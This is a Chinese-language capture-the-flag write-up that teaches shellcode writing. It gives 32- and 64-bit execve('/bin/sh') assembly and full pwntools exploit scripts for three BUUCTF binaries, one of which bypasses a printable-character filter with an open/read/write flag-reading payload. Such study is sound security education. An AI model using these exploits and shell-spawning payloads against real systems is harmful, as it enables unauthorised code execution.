shellcode的定义
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
常用指令
得到jmp_esp地址
ROPgadget --binary 文件名 --only “jmp”
1 2 3 4 5 6 7 8 9 Gadgets information ============================================================ 0x080483ab : jmp 0x8048390 0x080484f2 : jmp 0x8048470 0x08048611 : jmp 0x8048620 0x0804855d : jmp dword ptr [ecx + 0x804a040] 0x08048550 : jmp dword ptr [ecx + 0x804a060] 0x0804876f : jmp dword ptr [ecx] 0x08048504 : jmp esp <--
未开沙箱
没有开沙箱的话可以直接系统调用getshell
32位程序系统调用
32位程序有别于64位程序,32位通过栈传参,我们常用的寄存器有4个数据寄存器(eax,ebx,ecx,edx),2个变址寄存器(esi,edi),2个指针寄存器(esp,ebp).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 //这是我们要构造的: execv('/bin/sh',0,0) //从左到右一次传参数进入ebx,ecx,edx寄存器 汇编如下: shell = ''' push 0 // 隔开/bin/sh push 0x0068732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx xor esi,esi mov eax, 0xb //execv的系统调用号为11,即0xb int 0x80 //进入系统调用 '''
64位程序系统调用
64位程序通过寄存器传参,当参数少于7个时,程序将参数从左到右依次传递至rdi,rsi,rdx,rcx,r8,r9.当参数多于7个时,如下传参
1 2 3 4 5 H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H
具体操作:
1 2 3 4 5 6 7 8 9 10 11 shell = ''' mov rbx, 0x68732f6e69622f //这里没有严格的传参限制,也可以传到其他寄存器中 push rbx //将'/bin/sh'压入栈 push rsp //压入rsp pop rdi //将'/bin/sh'传递给rdi xor esi, esi //将esi置0 xor edx, edx //将edx置0 push 0x3b //系统调用号 pop rax //这里也可以直接去掉'push 0x3b;pop rax'改为mov rax, 0x3b syscall //系统调用 '''
示例
选取两道buuctf的示例
1 2 3 ubuntu@vm:~$ checksec --file=pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 2028 Symbols No 0 0 pwn
可以发现没有任何的保护机制,很明显就是要写shellcode
程序是不可以Ctrl+f5的,跟进发现问题在这:
1 2 3 4 5 6 7 8 9 .text:0804890F call puts .text:08048914 add esp, 10h .text:08048917 lea eax, [ebp+var_A0] .text:0804891D call eax //<-- .text:0804891F mov eax, 0 .text:08048924 mov ecx, [ebp+var_4] .text:08048927 leave .text:08048928 lea esp, [ecx-4] .text:0804892B retn
如果我们控制了rax寄存器,就可以执行shellcode了,大家可以自己分析,动态调试,发现我们输入的数据正好会被传入rax寄存器中,进行执行,所以下边我们来进行shellcode的编写
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *elf = ELF('./PicoCTF_2018_shellcode' ) io = process('./PicoCTF_2018_shellcode' ) libc = elf.libc context(log_level='debug' ,os='linux' ,arch='i386' ) io.recvuntil('!' ) gdb.attach(io) shellcode = ''' push 0 push 0x0068732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx xor esi,esi mov eax, 0xb int 0x80 ''' io.sendline(asm(shellcode)) io.interactive()
1 2 3 ubuntu@vm:~$ checksec --file=mrctf2020_shellcode RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH 68 Symbols No 0 1 mrctf2020_shellcode
程序会让我们输入0x400的字节,并通过分析会将我们输入的字节传到rax寄存器中,所以我们还是通过控制rax寄存器来执行shellcode从而get shell.
1 2 3 4 .text:00000000000011D6 loc_11D6: ; CODE XREF: main+78↑j .text:00000000000011D6 lea rax, [rbp+buf] .text:00000000000011DD call rax .text:00000000000011DF mov eax, 0
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *io = process('./mrctf2020_shellcode' ) elf = ELF('./mrctf2020_shellcode' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context(log_level='debug' ,os='linux' ,arch='amd64' ) io.recvuntil('!' ) shellcode = ''' mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall ''' io.sendline(asm(shellcode)) io.interactive()
附
上述代码将shellcode自己写了出来,实际上可以通过shellcraft.sh ()自动生成
例:
picoctf_2018_shellcode exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *elf = ELF('./PicoCTF_2018_shellcode' ) io = process('./PicoCTF_2018_shellcode' ) libc = elf.libc context(log_level='debug' ,os='linux' ,arch='i386' ) io.recvuntil('!' ) gdb.attach(io) io.sendline(asm(shellcraft.sh())) io.interactive()
开启沙箱
1、strlen函数是可以被00给截断的,而shellcode本身执行的时候并不会因为00截断。
2、push一个字符串的话,比如push 0x67616c66 (这个是flag),不足八字节,push的时候会自动填充00补全八字节,从而占满一个内存单元。
逻辑就是执行is_printable之后,去将eax与自身相与,如果eax的值为1,test执行之后的运算结果为1(标志寄存器的值为0,否则反之)如果标志寄存器的值为1,则jz指令进行跳转,跳转到loc_AC1函数,如果触发了该函数则程序直接结束,并不会触发call rax的指令,如果jz不进行跳转,则执行call rax(执行完lea之后,rax的值存放的就是read函数输入进去的内容,因此我们输入的时候直接布置shellcode即可)。
is_printable:
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall is_printable (const char *a1) { int i; for ( i = 0 ; i < strlen (a1); ++i ) { if ( a1[i] <= 31 || a1[i] == 127 ) return 0LL ; } return 1LL ;
strlen函数是可以被00截断的,也就是说只要让shellcode中出现00,并且在00之前的是可见字符就ok了,因为strlen获取的长度就到00这里。
还有一点
1 2 3 4 5 6 .text:0000000000000A9A call read .text:0000000000000A9F sub eax, 1 .text:0000000000000AA2 cdqe .text:0000000000000AA4 mov [rbp+rax+s], 0 //<-- .text:0000000000000AA9 lea rax, [rbp+s] .text:0000000000000AAD mov rdi, rax
在程序末尾存在一个指令,会将输入的最后一个字节改为0
因此可以在syscall后多加一个指令避免。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) p=remote('node4.buuoj.cn' ,28435 ) shellcode=asm(''' push 0x67616c66 push rsp pop rdi #上面这两步就是在传open的第一个参数,这个参数要是一个地址,这个地址要指向字符串'flag' #执行完push 0x67616c66的时候,栈顶的内容就是字符串flag,而栈顶指针rsp就指向了这个flag,此时执行push rsp将指向flag的地址(也就是rsp)压栈,此时栈顶的内容就是那个指向flag的地址,然后再执行pop rdi #将栈顶的这个内容弹给rdi,此时open的第一个参数就成为了指向flag的地址 push 0#这个push 0这里就会出现机器码00,用来截断strlen函数 pop rsi push 2 pop rax syscall push 3 pop rdi push rsp pop rsi push 0x50 pop rdx push 0 pop rax syscall push 1 pop rdi push rsp pop rsi #这个地方的push rsp pop rsi原理同上 push 0x50 pop rdx push 1 pop rax syscall nop #在syscall后多加一个指令 ''' )print (hex (len (shellcode)))p.send(shellcode) p.interactive()
未完待续…